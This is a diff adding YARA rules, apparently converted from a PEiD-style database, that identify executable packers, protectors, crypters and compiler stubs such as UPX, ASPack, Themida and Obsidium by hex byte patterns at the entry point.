+rule _EmbedPE_V100V124__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.00-V1.24 -> cyclotron"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+		$2 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _unknown_by_GyikSoft_1_
+{
+	meta:
+		description = "unknown by GyikSoft 1"
+	strings:
+		$0 = {8C C9 81 C1 00 00 51 B9 00 00 51 00 00 00 00 00 00 06 00 00 00 00 00 83 EB 18 53 51 B8 00 00 8C CA 03 D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 79 EE 00 00 00 00 00 00 BE 00 00 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V33__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+		$2 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASPack_105b_
+{
+	meta:
+		description = "ASPack 1.05b"
+	strings:
+		$0 = {75 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V132__cyberbob__20080310_
+{
+	meta:
+		description = "PESpin V1.32 -> cyberbob * 20080310"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 17 E6 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 ?? EB 01 ?? EB 0D FF E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 00 EB FB FF E8 02 00 00 00 ?? ?? 5A 81 ?? ?? ?? ?? ?? 83 EA FE 89 95 A9 57 40 00 2B C0 2B C9 83 F1 06 09 85 CB 57 40 00 9C D3 2C 24 80 C1 FB 21 0C 24 50 52 B8 36 C7 09 FF 05 FE 37 F6 00 F7 64 24 08 8D 84 28 B1 35 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC CD 20 BB 69 74 58 0B C1 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105_v122_Delphi_stub__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub -> Laszlo & Markus"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_117EXE_
+{
+	meta:
+		description = "HackStop 1.17?[EXE]"
+	strings:
+		$0 = {52 B8 02 30 1E CD 21 86 E0 3D FE 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 EB 02 D8 88 1F 5A 53 BB EB 04 5B EB FB 9A B4 30 CD 21 FA 8B EC 8B 46 FA 05 0C 00 FF E0 81 EB 02 EB F0 81 46 FA 1A 00 83 EC 06 CF 82 B0 AD E6 64 53 BB EB}
+		$1 = {3A DB 74 07 B8 01 4C CD 21 EB 1E B4 30 CD 21 FA 8B EC 8B 46 FA 05 0C 00 FF E0 81 EB 02 EB F0 81 46 FA 1A 00 83 EC 06 CF 82 C3 EA 53 BB EB 04 5B EB FB 9A FB 1E B8 40 00 8E D8 A1 6C 00 3B 06 6C 00 74 FA 1F B9 FC 02 E8 ED 0A AA AE E6 AA A8 A6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V03X__Dwing_
+{
+	meta:
+		description = "Upack V0.3X -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _ILUCRYPT_v4015_exe_
+{
+	meta:
+		description = "ILUCRYPT v4.015 [exe"
+	strings:
+		$0 = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+		$1 = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NJoy_11__NEX_
+{
+	meta:
+		description = "N-Joy 1.1 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+		$1 = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _kkrunchy_v017__F_Giesen_
+{
+	meta:
+		description = "kkrunchy v0.17 -> F. Giesen"
+	strings:
+		$0 = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+		$1 = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_UPX_06_
+{
+	meta:
+		description = "PseudoSigner 0.2 [UPX 0.6"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_V10X__Sukhov_Vladimir_
+{
+	meta:
+		description = "Enigma Protector V1.0X -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 C4 04 EB 02 ?? ?? 60 E8 24 00 00 00 00 00 ?? EB 02 ?? ?? 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 ?? ?? 89 C4 61 EB 2E ?? ?? ?? ?? ?? ?? ?? EB 01 ?? 31 C0 EB 01 ?? 64 FF 30 EB 01 ?? 64 89 20 EB 02 ?? ?? 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 ?? 58 61 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Watcom_CCpp_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Watcom C/C++ DLL] --> Anorganix"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Admin_V10_EncryptPE_V12003518_Sold__Flying_Cat_
+{
+	meta:
+		description = "PE_Admin V1.0 (EncryptPE V1.2003.5.18 Sold) -> Flying Cat"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UnderGround_Crypter__by_Booster2000_
+{
+	meta:
+		description = "UnderGround Crypter - by Booster2000"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+		$1 = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Username_300_EXE_
+{
+	meta:
+		description = "Username 3.00 [EXE]"
+	strings:
+		$0 = {FB 2E 8C 1E 22 02 2E 8C 06 3F 02 2E 8B 0E 41 02 2E 8B 1E 43 02 8C C8 2B C1 8B C8 2E 89 1E 1E 02 2E 89 0E 20 02 33 C0 8E D8 06 0E 07 FC 33 F6 BF 1B 03 B9 14 00 F3 A4 07 FA A1 84 00 8B 1E 86 00 A3 0C 00 89 1E 0E 00 8B 16 40 00 8B 1E 42 00 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Password_v02_SMTSMF__SMT_
+{
+	meta:
+		description = "PE Password v0.2 SMT/SMF -> SMT"
+	strings:
+		$0 = {E8 04 00 00 00 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 00 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+	condition:
+		$0 at entrypoint
+}
+rule _CorelPhotoPaint_Image_
+{
+	meta:
+		description = "CorelPhotoPaint Image"
+	strings:
+		$0 = {43 50 54 37 46 49 4C 45}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_015b__defiler_
+{
+	meta:
+		description = "CodeCrypt 0.15b -> defiler"
+	strings:
+		$0 = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_011_
+{
+	meta:
+		description = "UPack 0.11"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_098__099_x_EXE_
+{
+	meta:
+		description = "aPack 0.98 - 0.99 -x [EXE]"
+	strings:
+		$0 = {1E 06 8C CB BA 00 00 03 DA FC 33 F6 33 FF 4B 8E DB 8D 87 00 00 8E C0 B9 08 00 F3 A5 4A 75 EB 8E C3 8E D8 33 FF BE 00 00 05 00 00 0E 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Packer_
+{
+	meta:
+		description = "PE Packer"
+	strings:
+		$0 = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+		$1 = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Mask_23_
+{
+	meta:
+		description = "Mask 2.3"
+	strings:
+		$0 = {55 57 CD 03 FC 4D 41 53 4B FA 8B EC 83 6E 06 03 FF 76 06 5D 49 E8 00 00 5B 81 EB A6 05 50 D6 51 52 56}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_70_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+		$1 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_Dongle_Shell__SafeNet_Inc__20090508_
+{
+	meta:
+		description = "Sentinel Dongle Shell -> SafeNet Inc. * 20090508"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 C7 85 04 FF FF FF 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 F8 00 00 00 00 C7 85 08 FF FF FF 00 00 00 00 C7 45 E4 04 00 00 00 83 ?? ?? ?? ?? ?? 00 74 05 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C0 01 A3 ?? ?? ?? ?? 83 F4 00 7B 00 8D 80 ?? ?? ?? ?? 8D 80 ?? ?? ?? ?? 76 0F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 EC 08 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v21__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.1 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_20x_Heuristic_Mode__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact 2.0x Heuristic Mode -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_V01__ppMeat_
+{
+	meta:
+		description = "Escargot V0.1 -> ++Meat"
+	strings:
+		$0 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+		$1 = {EB 04 40 30 2E 31 60 68 61}
+		$2 = {EB 04 40 30 2E 31 60 68 61}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Themida__Oreans_Technologies_2004_
+{
+	meta:
+		description = "Themida -> Oreans Technologies 2004"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+		$1 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DotFix_Nice_Protect_21__GPcH_Soft_
+{
+	meta:
+		description = "DotFix Nice Protect 2.1 -> GPcH Soft"
+	strings:
+		$0 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5}
+		$1 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+		$2 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Thinstall_Embedded_V2422V2428__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.422-V2.428 -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_vxx_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x DLL"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 7B 00 00 00 85 C0 74 2E 5F 5F 58 5A 8B 4A 0C C1 F9 02 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB A0 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 6D 01 6A 10 8B D8 66 05 66 01 50 52 6A 00 8B 13 FF 14 1A 6A FF FF 93 ?? ?? 00 00 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+		$1 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68}
+		$2 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 7B 00 00 00 85 C0 74 2E 5F 5F 58 5A 8B 4A 0C C1 F9 02 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB A0 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 6D 01 6A 10 8B D8 66 05 66 01 50 52 6A 00 8B 13 FF 14 1A 6A FF FF 93 ?? ?? 00 00 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Delphi_v50_KOLMCK_
+{
+	meta:
+		description = "Borland Delphi v5.0 KOL/MCK"
+	strings:
+		$0 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 83 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_0399__Dwing_
+{
+	meta:
+		description = "Upack 0.399 -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TTPpack_
+{
+	meta:
+		description = "TTPpack"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 F6 E8 11 00 00 00 8B 64 24 08 64 8F 05}
+		$1 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 F6 E8 11 00 00 00 8B 64 24 08 64 8F 05}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SPEC_b3_
+{
+	meta:
+		description = "SPEC b3"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 00 00 00 00 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 00 8B FD}
+		$1 = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_
+{
+	meta:
+		description = "Borland Delphi"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40}
+		$1 = {55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D}
+		$2 = {55 8B EC 83 C4 F4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Obsidium_1200__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 4F 26 00 00}
+		$1 = {EB 02 ?? ?? E8 3F 1E 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v031a_
+{
+	meta:
+		description = "MSLRH v0.31a"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
